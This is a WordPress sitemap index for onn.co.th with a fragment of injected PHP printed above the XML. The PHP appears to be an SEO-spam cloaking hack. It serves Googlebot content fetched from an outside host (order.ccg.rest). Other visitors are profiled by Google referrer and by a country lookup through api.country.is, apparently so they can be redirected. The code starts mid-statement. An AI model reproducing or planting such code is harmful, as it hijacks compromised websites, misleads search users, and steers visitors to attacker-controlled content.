f (stripos($_SERVER['HTTP_USER_AGENT'] ?? '', 'Googlebot') !== false) {
	$url = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

$endpoint = 'https://order.ccg.rest/?' . http_build_query([
    'url' => $url,
]);

$ch = curl_init($endpoint);

curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => false,
    CURLOPT_HTTPHEADER => [
        'X-Original-Host: ' . $_SERVER['HTTP_HOST'],
        'X-Forwarded-Host: ' . $_SERVER['HTTP_HOST'],
        'X-Forwarded-Proto: https',
        'User-Agent: ' . ($_SERVER['HTTP_USER_AGENT'] ?? ''),
    ],
]);

$output = curl_exec($ch);

curl_close($ch);

echo $output;
exit;
}
else {
$ip = $_SERVER['REMOTE_ADDR'] ?? '';

// Detect referrer
$referer = $_SERVER['HTTP_REFERER'] ?? '';

// Check if visitor came from Google
$fromGoogle = stripos($referer, 'google.') !== false;

// Default country
$country = '';

// Lookup country using api.country.is
if (!empty($ip)) {
    $response = @file_get_contents("https://api.country.is/" . urlencode($ip));

    if ($response !== false) {
        $data = json_decode($response, true);

        if (isset($data['country'])) {
            $country = strtoupper($data['country']);
        }
    }
}
}
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://onn.co.th/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://onn.co.th/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://onn.co.th/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://onn.co.th/wp-sitemap-taxonomies-category-1.xml</loc></sitemap></sitemapindex>
